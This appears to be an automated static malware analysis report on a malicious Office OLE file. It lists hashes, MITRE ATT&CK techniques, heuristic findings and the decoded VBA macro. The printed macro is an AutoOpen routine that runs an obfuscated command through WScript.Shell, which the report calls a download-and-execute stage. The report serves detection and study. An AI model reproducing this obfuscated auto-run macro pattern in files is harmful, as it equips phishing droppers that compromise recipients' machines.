Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 49b5ecf15c5f78fb…

MALICIOUS

Office (OLE)

79.3 KB First seen: 2019-05-16
MD5: faf4ce1f9ca1dcedf83827d4e6103555 SHA-1: bc403fac76fcae182019d7ce5c0227e366a2e88e SHA-256: 49b5ecf15c5f78fb6c5493178f4bb3ca796a5e0ae66e5a0bb727e387c5817bcd
208 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains VBA macros with an AutoOpen subroutine that utilizes WScript.Shell to execute a command. The script attempts to obfuscate the command string by concatenating character codes, but the primary intent is to run an external process. This behavior is characteristic of macro-based malware designed to download and execute further stages.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
       Error 19554 * sjqITJ / 83673 * GLudVL
    RiQuNLjv = CreateObject("WScript.Shell").Run(ChrW(8 + 6 + 7 + 4 + 42) + hGDbhNn + pMKwBqF + YJzAntBCW + hqNLz + ZNJizjw + MFUYYiizJu + ZOkwWAJDMS + NwRTDHXHOTOZj + BUCGBLVCnOUii, 122235213 - 122235213)
       Error nwMhrw / EjdtzF
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
       Error 19554 * sjqITJ / 83673 * GLudVL
    RiQuNLjv = CreateObject("WScript.Shell").Run(ChrW(8 + 6 + 7 + 4 + 42) + hGDbhNn + pMKwBqF + YJzAntBCW + hqNLz + ZNJizjw + MFUYYiizJu + ZOkwWAJDMS + NwRTDHXHOTOZj + BUCGBLVCnOUii, 122235213 - 122235213)
       Error nwMhrw / EjdtzF
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "DUcAahTi"
    Sub AutoOpen()
    On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 81,159 bytes but its declared streams total only 36,441 bytes — 44,718 bytes (55%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 394 bytes
SHA-256: 09061e3122f7188a2d76575beec504213d48d12719af91b9675e3f5d46560f42
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "DUcAahTi"
Sub AutoOpen()
On Error Resume Next
   Error 19554 * sjqITJ / 83673 * GLudVL
RiQuNLjv = CreateObject("WScript.Shell").Run(ChrW(8 + 6 + 7 + 4 + 42) + hGDbhNn + pMKwBqF + YJzAntBCW + hqNLz + ZNJizjw + MFUYYiizJu + ZOkwWAJDMS + NwRTDHXHOTOZj + BUCGBLVCnOUii, 122235213 - 122235213)
   Error nwMhrw / EjdtzF
   Error EYHSt * oNCwD / 50375 * TGfFQW
End Sub